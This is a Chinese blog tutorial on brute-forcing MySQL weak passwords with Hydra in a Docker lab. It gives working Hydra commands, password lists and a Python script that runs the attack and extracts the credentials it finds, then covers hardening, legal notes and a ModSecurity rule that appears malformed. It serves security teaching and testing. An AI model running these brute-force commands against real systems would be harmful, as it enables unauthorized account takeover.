当前位置: 首页 > news >正文

渗透测试实战:使用Hydra破解MySQL弱口令(附合法授权流程+防御方案)

渗透测试实战:使用Hydra破解MySQL弱口令(附合法授权流程+防御方案)

在这里插入图片描述

郑重声明:本文仅供安全学习研究,任何未经授权的网络攻击行为均属违法。实操需获得目标系统书面授权,请遵守《网络安全法》相关规定。

一、实验环境搭建(合法授权测试)

1.1 测试环境配置

#先拉取镜像:靶机246
 docker pull swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/library/mysql:5.7
# 使用Docker快速搭建MySQL测试环境
docker run --name mysql_test -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/library/mysql:5.7

# 创建测试账户
docker exec -it mysql_test mysql -uroot -p123456 

CREATE USER 'testuser'@'%' IDENTIFIED BY '123456';
FLUSH PRIVILEGES;

GRANT ALL PRIVILEGES ON *.* TO 'testuser'@'%';
FLUSH PRIVILEGES;

1.2 Hydra工具安装

#虚拟机镜像下载地址
https://www.kali.org/get-kali/#kali-platforms
#下载kali linux镜像
kali-linux-2025.1a-installer-amd64.iso
#vm上安装kali linux

二、弱口令爆破实战步骤

2.1 准备密码字典

创建 passwords.txt 文件:

123456
admin
root
password
qwerty
test
123456789
letmein
Welcome123


# 下载常用弱口令字典(可选)
wget https://githubfast.com/danielmiessler/SecLists/raw/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt

创建user.txt用户名字典:

root
testuser

2.2 基础爆破命令

#限制并发任务数
hydra -t 1 -l testuser -P passwords.txt mysql://192.167.14.246
#不限制并发数(可选)
hydra -l testuser -P passwords.txt mysql://192.167.14.246
#(可选)
hydra -L user.txt -P password.txt ssh://靶机ip

2.3 高级参数爆破

hydra -L users.txt -P passwords.txt \
mysql://192.167.14.246 -vV -t 32 -f -I \
-s 3306 -e ns -W 3 -o result.txt

参数解析

  • -vV:显示详细过程
  • -t 32:使用32个线程
  • -f:找到第一个匹配后停止
  • -s 3306:指定非标准端口
  • -e ns:尝试空密码和用户名密码相同
  • -W 3:请求间隔3秒

三、自动化破解脚本示例

3.1 Python自动化检测脚本

import subprocess
import re

def hydra_mysql_attack(target_ip, port, user_list, pass_list):
    cmd = [
        'hydra',
        '-L', user_list,
        '-P', pass_list,
        '-e', 'ns',
        '-s', str(port),
        '-o', 'hydra_result.txt',
        'mysql://' + target_ip
    ]
    
    process = subprocess.Popen(
        cmd, 
        stdout=subprocess.PIPE, 
        stderr=subprocess.STDOUT,
        text=True  # 确保输出为文本
    )
    
    output_buffer = ""
    while True:
        # 逐字符读取输出
        char = process.stdout.read(1)
        if not char and process.poll() is not None:
            break
        if char:
            output_buffer += char
            # 检查是否包含有效凭证
            if "successfully" in output_buffer.lower():
                print("[+] 发现有效凭证:")
                matches = re.findall(r'login:\s*(\S+)\s+password:\s*(\S+)', output_buffer)
                if matches:
                    for match in matches:
                        print(f"用户名: {match[0]}, 密码: {match[1]}")
                process.terminate()
                break

# 使用示例
hydra_mysql_attack(
    target_ip="192.167.14.246",
    port=3306,
    user_list="users.txt",
    pass_list="passwords.txt"
)

四、防御加固方案

4.1 MySQL安全配置

-- 修改默认端口
SET GLOBAL port = 3366;

-- 启用密码复杂度策略
INSTALL PLUGIN validate_password SONAME 'validate_password.so';
SET GLOBAL validate_password_policy=STRONG;

-- 设置登录失败锁定
ALTER USER 'testuser'@'%' WITH FAILED_LOGIN_ATTEMPTS 3 PASSWORD_LOCK_TIME 1;

4.2 网络层防护

# 使用iptables限制访问
iptables -A INPUT -p tcp --dport 3306 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 3306 -j DROP

# 启用SSL加密
mysql_ssl_rsa_setup --uid=mysql

五、法律风险告知

  1. 授权测试:必须获得目标系统的书面授权
  2. 日志留存:测试过程需完整记录日志备查
  3. 数据保护:禁止接触真实业务数据
  4. 报告机制:发现漏洞后应立即停止测试并报告

六、攻击特征分析(WAF防护策略)

6.1 识别Hydra攻击特征

# 典型攻击日志特征
[Warning] Host '192.168.1.5' has more than 'max_connect_errors' 
[Note] Aborted connection 45 to db: 'unconnected' user: 'testuser' 

6.2 防御规则示例(ModSecurity)

<SecRule ENGINE:DETECT_HYDRA "@ge 5" "phase:1,id:1001,deny,status:403,
msg:'Hydra brute force attack detected',logdata:'Matched count: %{MATCHED_VAR}'"

技术总结:本文演示了在合法授权环境下使用Hydra进行MySQL弱口令检测的全流程。安全从业人员应掌握攻击原理以建立有效防御,普通用户需提高密码安全意识。

拓展阅读

  • 《MySQL 8.0安全白皮书》
  • OWASP认证安全指南

请务必遵守网络安全法律法规,技术需向善! 🔐

如果本教程帮助您解决了问题,请点赞❤️收藏⭐支持!欢迎在评论区留言交流技术细节!

相关文章:

  • Cannot find module ‘vue‘ or its corresponding type declarations
  • 实战教程:使用JetBrians Rider快速部署与调试PS5和Xbox上的UE项目
  • 《Vue Router实战教程》3.动态路由匹配
  • 2022年全国职业院校技能大赛 高职组 “大数据技术与应用” 赛项赛卷(4卷)任务书
  • 3D激光轮廓仪知识整理
  • 第3节:深度学习常用数据集介绍
  • 算法--递归实现【DFS】
  • TDengine 语言连接器(Rust)
  • 索尼相机视频文件格式规格
  • JAVA 导出 word
  • Java树结构通用工具类
  • Spark基础知识
  • Google Chrome Canary版官方下载及安装教程【适用于开发者与进阶用户】
  • SpringMVC基础二(RestFul、接收数据、视图跳转)
  • Java 中 boolean 类型,几个byte?
  • 服务器信息收集
  • Flink回撤流详解 代码实例
  • 如何关闭MacOS中鼠标滚轮滚动加速
  • Mybatis Plus与SpringBoot的集成
  • 【游戏安全】基于协议时序的挖掘
  • 侦探公司做网站的资料/磁力宝最佳搜索引擎入口
  • 廊坊做网站的大公司/做seo推广公司
  • 有哪些网站可以卖自己做的图片/惠州seo报价
  • 现在电商做的设计用的什么网站/百度seo优化软件
  • 共享办公商业租赁网站模板/最专业的seo公司
  • 长沙模板建网站需要多久/公司企业网站制作